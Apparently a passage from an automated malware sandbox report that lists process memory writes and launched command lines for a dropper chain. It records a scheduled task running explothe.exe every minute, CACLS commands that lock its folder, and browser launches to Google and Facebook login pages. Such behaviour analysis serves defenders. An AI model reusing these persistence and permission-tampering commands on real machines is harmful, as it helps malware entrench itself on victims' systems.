PID 2240 wrote to memory of 1712 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2240 wrote to memory of 1712 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2812 wrote to memory of 1756 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\rQ8yQ82.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\3gO05ag.exe
PID 2812 wrote to memory of 1756 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\rQ8yQ82.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\3gO05ag.exe
PID 2812 wrote to memory of 1756 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\rQ8yQ82.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\3gO05ag.exe
PID 1756 wrote to memory of 1316 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\3gO05ag.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 1756 wrote to memory of 1316 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\3gO05ag.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 1756 wrote to memory of 1316 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\3gO05ag.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 1756 wrote to memory of 2084 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\3gO05ag.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 1756 wrote to memory of 2084 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\3gO05ag.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 1756 wrote to memory of 2084 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\3gO05ag.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 1756 wrote to memory of 2084 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\3gO05ag.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 1756 wrote to memory of 2084 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\3gO05ag.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 1756 wrote to memory of 2084 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\3gO05ag.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4300 wrote to memory of 3596 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\YO1hV23.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\4Nz677Xm.exe
PID 4300 wrote to memory of 3596 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\YO1hV23.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\4Nz677Xm.exe
PID 4300 wrote to memory of 3596 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\YO1hV23.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\4Nz677Xm.exe
PID 3596 wrote to memory of 3840 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\4Nz677Xm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 3596 wrote to memory of 3840 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\4Nz677Xm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 3596 wrote to memory of 3840 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\4Nz677Xm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 3596 wrote to memory of 3840 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\4Nz677Xm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 3596 wrote to memory of 3840 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\4Nz677Xm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 3596 wrote to memory of 3840 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\4Nz677Xm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 3596 wrote to memory of 3840 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\4Nz677Xm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 3596 wrote to memory of 3840 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\4Nz677Xm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 1312 wrote to memory of 4408 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\5nS5Jc7.exe
PID 1312 wrote to memory of 4408 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\5nS5Jc7.exe
PID 1312 wrote to memory of 4408 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\5nS5Jc7.exe
PID 4408 wrote to memory of 552 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\5nS5Jc7.exe C:\Windows\system32\cmd.exe
PID 4408 wrote to memory of 552 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\5nS5Jc7.exe C:\Windows\system32\cmd.exe
PID 552 wrote to memory of 4664 N/A C:\Windows\system32\cmd.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 552 wrote to memory of 4664 N/A C:\Windows\system32\cmd.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4664 wrote to memory of 4580 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4664 wrote to memory of 4580 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 552 wrote to memory of 956 N/A C:\Windows\system32\cmd.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 552 wrote to memory of 956 N/A C:\Windows\system32\cmd.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 956 wrote to memory of 1480 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 956 wrote to memory of 1480 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4664 wrote to memory of 5048 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4664 wrote to memory of 5048 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4664 wrote to memory of 5048 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Users\Admin\AppData\Local\Temp\file.exe

"C:\Users\Admin\AppData\Local\Temp\file.exe"

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\YO1hV23.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\YO1hV23.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\rQ8yQ82.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\rQ8yQ82.exe

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\hC6tO26.exe

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\hC6tO26.exe

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1ed68zM7.exe

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1ed68zM7.exe

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 1712 -ip 1712

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 2240 -ip 2240

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2240 -s 572

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1712 -s 540

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\3gO05ag.exe

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\3gO05ag.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 1756 -ip 1756

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1756 -s 604

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\4Nz677Xm.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\4Nz677Xm.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 3596 -ip 3596

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3596 -s 572

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\5nS5Jc7.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\5nS5Jc7.exe

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\214E.tmp\215F.tmp\2160.bat C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\5nS5Jc7.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x168,0x16c,0x170,0x144,0x174,0x7ffa446d46f8,0x7ffa446d4708,0x7ffa446d4718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.facebook.com/login

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ffa446d46f8,0x7ffa446d4708,0x7ffa446d4718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,12930978010422375930,17033962718603857391,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2156 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2084,7304109232795058134,2738511118946074995,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2928 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2140,12930978010422375930,17033962718603857391,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2252 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2084,7304109232795058134,2738511118946074995,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2236 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2084,7304109232795058134,2738511118946074995,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2156 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,7304109232795058134,2738511118946074995,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3340 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,7304109232795058134,2738511118946074995,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3328 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,7304109232795058134,2738511118946074995,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3928 /prefetch:1

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,7304109232795058134,2738511118946074995,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5896 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,7304109232795058134,2738511118946074995,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5880 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2084,7304109232795058134,2738511118946074995,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3972 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2084,7304109232795058134,2738511118946074995,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3972 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,7304109232795058134,2738511118946074995,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5124 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,7304109232795058134,2738511118946074995,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5568 /prefetch:1

C:\Users\Admin\AppData\Local\Temp\79DE.exe

C:\Users\Admin\AppData\Local\Temp\79DE.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\UD6Nc0Qd.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\UD6Nc0Qd.exe

C:\Users\Admin\AppData\Local\Temp\7AE9.exe

C:\Users\Admin\AppData\Local\Temp\7AE9.exe

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\bP4YC6nA.exe

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\bP4YC6nA.exe

C:\Users\Admin\AppData\Local\Temp\7BA5.bat

"C:\Users\Admin\AppData\Local\Temp\7BA5.bat"

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\JR1ro8Xb.exe

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\JR1ro8Xb.exe

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\JD8xi3ZV.exe

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\JD8xi3ZV.exe

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1RN09Xh9.exe

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1RN09Xh9.exe

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\7C9D.tmp\7C9E.tmp\7C9F.bat C:\Users\Admin\AppData\Local\Temp\7BA5.bat"

C:\Users\Admin\AppData\Local\Temp\7DF8.exe

C:\Users\Admin\AppData\Local\Temp\7DF8.exe

C:\Users\Admin\AppData\Local\Temp\7F9F.exe

C:\Users\Admin\AppData\Local\Temp\7F9F.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Users\Admin\AppData\Local\Temp\81B3.exe

C:\Users\Admin\AppData\Local\Temp\81B3.exe

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 2368 -ip 2368

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 2172 -ip 2172

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2368 -s 396

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 5376 -ip 5376

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 5164 -ip 5164

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2172 -s 600

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 5164 -s 416

C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe

"C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 5376 -s 548

C:\Windows\SysWOW64\schtasks.exe

"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN explothe.exe /TR "C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe" /F

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "explothe.exe" /P "Admin:N"&&CACLS "explothe.exe" /P "Admin:R" /E&&echo Y|CACLS "..\fefffe8cea" /P "Admin:N"&&CACLS "..\fefffe8cea" /P "Admin:R" /E&&Exit

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2Ik712VL.exe

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2Ik712VL.exe

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo Y"

C:\Windows\SysWOW64\cacls.exe

CACLS "explothe.exe" /P "Admin:N"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa446d46f8,0x7ffa446d4708,0x7ffa446d4718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,7304109232795058134,2738511118946074995,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5752 /prefetch:1

C:\Windows\SysWOW64\cacls.exe

CACLS "explothe.exe" /P "Admin:R" /E

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo Y"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.facebook.com/login

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa446d46f8,0x7ffa446d4708,0x7ffa446d4718

C:\Windows\SysWOW64\cacls.exe

CACLS "..\fefffe8cea" /P "Admin:N"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,7304109232795058134,2738511118946074995,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5956 /prefetch:1

C:\Windows\SysWOW64\cacls.exe

CACLS "..\fefffe8cea" /P "Admin:R" /E

C:\Windows\system32\BackgroundTransferHost.exe

"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1

C:\Users\Admin\AppData\Local\Temp\BB04.exe

C:\Users\Admin\AppData\Local\Temp\BB04.exe

C:\Users\Admin\AppData\Local\Temp\toolspub2.exe

"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"

C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe

"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"

C:\Users\Admin\AppData\Local\Temp\source1.exe

"C:\Users\Admin\AppData\Local\Temp\source1.exe"

C:\Users\Admin\AppData\Local\Temp\latestX.exe

"C:\Users\Admin\AppData\Local\Temp\latestX.exe"

C:\Users\Admin\AppData\Local\Temp\toolspub2.exe

"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Users\Admin\AppData\Local\Temp\DAB2.exe

C:\Users\Admin\AppData\Local\Temp\DAB2.exe

C:\Users\Admin\AppData\Local\Temp\DC88.exe

C:\Users\Admin\AppData\Local\Temp\DC88.exe

C:\Users\Admin\AppData\Local\Temp\E081.exe

C:\Users\Admin\AppData\Local\Temp\E081.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=DC88.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0x40,0x108,0x7ffa446d46f8,0x7ffa446d4708,0x7ffa446d4718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

